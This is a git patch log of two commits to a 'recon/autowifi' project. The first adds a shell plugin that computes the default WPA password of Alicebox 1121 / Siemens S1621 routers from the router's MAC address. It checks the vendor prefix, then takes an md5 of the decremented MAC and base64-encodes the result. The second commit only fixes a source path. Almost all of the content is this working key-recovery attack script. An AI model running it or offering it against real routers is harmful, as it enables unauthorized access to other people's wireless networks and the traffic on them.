From 6dd7a15020aab595e087680a33b719a78ef6c410 Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 20 Dec 2014 22:23:01 +0100 Subject: dump autowifi trash --- recon/autowifi/plugins/02alice | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100755 recon/autowifi/plugins/02alice (limited to 'recon/autowifi/plugins/02alice') diff --git a/recon/autowifi/plugins/02alice b/recon/autowifi/plugins/02alice new file mode 100755 index 00000000..138130fb --- /dev/null +++ b/recon/autowifi/plugins/02alice @@ -0,0 +1,20 @@ +#!/bin/sh +# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm: +# Based on Poc from +# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html +# +# +# ESSID MAC CHANNEL ENCRYPTION + +cd $(dirname $(readlink -f $0)) +. plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1 + +# printf always makes string to lower, need that for correct md5sum +ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) +TMP=$(printf $ETHMAC | md5sum) +printf ${TMP:0:12} | base64 +exit 0 -- cgit v1.2.3 From 3744f9de8cf4b719c60b07972a36bc5b3fbfc0be Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 20 Dec 2014 22:26:47 +0100 Subject: throw away the autowifi trash --- recon/autowifi/plugins/02alice | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'recon/autowifi/plugins/02alice') diff --git a/recon/autowifi/plugins/02alice b/recon/autowifi/plugins/02alice index 138130fb..65ab34b1 100755 --- a/recon/autowifi/plugins/02alice +++ b/recon/autowifi/plugins/02alice @@ -7,7 +7,7 @@ # ESSID MAC CHANNEL ENCRYPTION cd $(dirname $(readlink -f $0)) -. plugin_core +. ./plugin_core parse_plugin_args "$@" -- cgit v1.2.3